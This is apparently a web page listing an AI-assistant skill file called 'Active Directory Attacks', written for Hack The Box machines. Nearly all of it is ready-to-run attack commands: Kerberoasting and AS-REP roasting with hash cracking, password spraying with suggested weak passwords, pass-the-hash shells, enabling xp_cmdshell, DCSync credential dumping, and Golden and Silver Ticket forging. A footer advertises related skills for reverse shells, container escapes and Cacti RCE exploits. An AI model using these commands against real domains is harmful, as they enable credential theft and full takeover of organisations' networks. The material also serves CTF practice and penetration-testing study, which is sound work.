菜单
This skill should be used when the user asks about "Active Directory", "Kerberoasting", "AS-REP roasting", "LDAP enumeration", "BloodHound", "DCSync", "Pass-the-Hash", "Golden Ticket", or needs guidance on attacking Windows domain environments.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
| name | Active Directory Attacks |
| description | This skill should be used when the user asks about "Active Directory", "Kerberoasting", "AS-REP roasting", "LDAP enumeration", "BloodHound", "DCSync", "Pass-the-Hash", "Golden Ticket", or needs guidance on attacking Windows domain environments. |
| version | 1.0.0 |
Techniques for enumerating and attacking Active Directory environments in HTB machines.
# Nmap
nmap -p53,88,135,139,389,445,636,3268,3269 <TARGET>
# Key ports:
# 88 = Kerberos (confirms AD)
# 389/636 = LDAP
# 445 = SMB
# CrackMapExec
crackmapexec smb <TARGET>
# LDAP rootDSE
ldapsearch -x -H ldap://<TARGET> -s base namingContexts
# Check if anonymous bind allowed
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=*)"
# Enumerate users
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
# Enumerate groups
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=group)" cn member
# Look for passwords in descriptions
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(description=*)" sAMAccountName description
# List shares
smbclient -L //<TARGET> -N
crackmapexec smb <TARGET> --shares -u '' -p ''
# Check access
smbmap -H <TARGET> -u '' -p ''
# Full enumeration
enum4linux -a <TARGET>
# Enumerate users via RID
crackmapexec smb <TARGET> -u '' -p '' --rid-brute
# Impacket
lookupsid.py <DOMAIN>/''@<TARGET> -no-pass
# Kerbrute
kerbrute userenum -d <DOMAIN> --dc <TARGET> userlist.txt
# Find users with "Do not require Kerberos preauthentication"
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <TARGET> -format hashcat
# Crack hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Request TGS for SPNs
GetUserSPNs.py <DOMAIN>/<USER>:<PASS> -dc-ip <TARGET> -request -outputfile tgs.txt
# Crack TGS hashes
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
# CrackMapExec (careful - can lock accounts!)
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success
# Kerbrute (no lockout if done right)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'
# Common passwords to try:
# SeasonYear! (Summer2024!, Winter2024!)
# CompanyName123
# Password1
# Welcome1
# Python collector
bloodhound-python -u <USER> -p <PASS> -d <DOMAIN> -dc <TARGET> -c all
# SharpHound (from Windows)
.\SharpHound.exe -c all
# Full dump
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
-b "DC=domain,DC=local" "(objectClass=*)" > ldap_dump.txt
# Find Domain Admins
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
-b "DC=domain,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member
# List shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> --shares
# Spider shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> -M spider_plus
# Find sensitive files
smbclient //<TARGET>/share -U <USER>%<PASS>
# Psexec
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>
# WMI
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>
# CrackMapExec
crackmapexec smb <TARGET> -u <USER> -H <NTLM>
# Export ticket
export KRB5CCNAME=ticket.ccache
# Use with Impacket
psexec.py -k -no-pass <TARGET>
# Check access
crackmapexec winrm <TARGET> -u <USER> -p <PASS>
# Get shell
evil-winrm -i <TARGET> -u <USER> -p <PASS>
# With hash
evil-winrm -i <TARGET> -u <USER> -H <NTLM>
# Check access
crackmapexec mssql <TARGET> -u <USER> -p <PASS>
# Get shell
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<TARGET>
# Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
xp_cmdshell 'whoami'
# Requires: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All
# Members of Domain Admins, Enterprise Admins, or Administrators have this by default
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>
# Just krbtgt hash
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET> -just-dc-user krbtgt
# Requirements:
# - krbtgt NTLM hash (from DCSync)
# - Domain SID
# Get Domain SID
lookupsid.py <DOMAIN>/<USER>:<PASS>@<TARGET> | grep "Domain SID"
# Create Golden Ticket
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> administrator
# Use ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass <DOMAIN>/administrator@<DC_HOSTNAME>
# Requirements:
# - Service account NTLM hash
# - SPN
ticketer.py -nthash <SERVICE_HASH> -domain-sid <SID> -domain <DOMAIN> \
-spn cifs/<TARGET> administrator
export KRB5CCNAME=administrator.ccache
smbclient -k //<TARGET>/C$
| Tool | Purpose |
|---|---|
| Impacket | Swiss army knife for AD |
| CrackMapExec | Quick enumeration |
| BloodHound | Attack path visualization |
| Rubeus | Kerberos attacks |
| Mimikatz | Credential extraction |
| Evil-WinRM | WinRM shells |
| Kerbrute | Kerberos enumeration |
This skill covers Cacti network monitoring tool exploitation including authenticated RCE via graph templates (CVE-2025-24367), unauthenticated command injection (CVE-2022-46169), and authentication bypass techniques.
This skill should be used when the user asks about "searchsploit", "CVE exploits", "exploit database", "common vulnerabilities", "reverse shells", "webshells", or needs guidance on exploiting common vulnerabilities and services.
This skill covers container escape techniques for Docker, LXC/LXD, and Kubernetes environments. Includes Docker socket escape, Docker Desktop API escape (192.168.65.7:2375), privileged container breakout, and capability-based escapes.
This skill should be used when the user asks about "password cracking", "brute force", "hydra", "hashcat", "john", "credential stuffing", "password spraying", or needs guidance on credential-based attacks.
This skill should be used when stuck on a CTF challenge or when the user asks to look up a writeup. Use EARLY when brute forcing or guessing seems like the only option - writeups often reveal the intended path. Trigger on: "look up writeup", "how do others solve", "stuck", "what's the intended path", machine names like "Soulmate", "Headless".
This skill should be used when the user asks about "dump database", "extract credentials", "sqlite", "mysql credentials", "database passwords", or needs to extract user data from common database systems.